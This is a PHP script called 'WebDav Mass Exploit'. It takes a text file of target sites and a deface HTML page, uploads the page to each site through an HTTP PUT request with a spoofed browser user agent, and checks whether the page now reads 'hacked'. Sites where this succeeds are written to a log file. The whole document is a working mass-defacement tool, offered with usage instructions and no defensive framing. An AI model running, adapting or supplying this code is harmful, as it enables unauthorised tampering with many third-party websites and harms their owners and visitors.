WebDav Mass Exploit

<?php
echo "
WebDav Mass Exploit - Coded By ZakirDotID
-- Usage : php {$argv[0]} target.txt deface.html --
";

if (is_file(@$argv[1]) and (is_file(@$argv[2]))) {
    $target = trim($argv[1]);
    $script = trim($argv[2]);

    $pecah = file_get_contents($target) or die("{$argv[1]} Not Found!");
    $pecah = explode("\r\n", $pecah);

    $fp = @fopen($script, 'r');
    $filesize = filesize($script);
    $count = count($pecah);

    $x = 1;
    foreach ($pecah as $sites) {
        $sites = trim($sites);

        if(preg_match("#http://#", $sites)) {
            $sites = rtrim($sites);
        } else {
            $sites = "http://".$sites;
        }

        $site = "{$sites}/{$script}";

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $site);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
        curl_setopt($ch, CURLOPT_PUT, true);
        curl_setopt($ch, CURLOPT_INFILE, $fp);
        curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
        curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
        curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
        curl_setopt($ch, CURLOPT_TIMEOUT, 1000);
        $exec = curl_exec($ch);

        echo "[{$x}/{$count}][SITE] {$site} => ";
        $cek = cek($site);

        if (preg_match("/hacked/i", $cek)) {
            echo "Sukses\n";
            $f = @fopen("live_dav.txt", 'a');
            @fwrite($f, "{$site}\r\n");
            @fclose($f);
        } else {
            echo "Gagal\n";
        }

        $x++;
    }

} else {
    echo "Baca usage!";
}

function cek($site){
    $ch = curl_init ("$site");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
    curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
    $data = curl_exec($ch);
    return $data;
}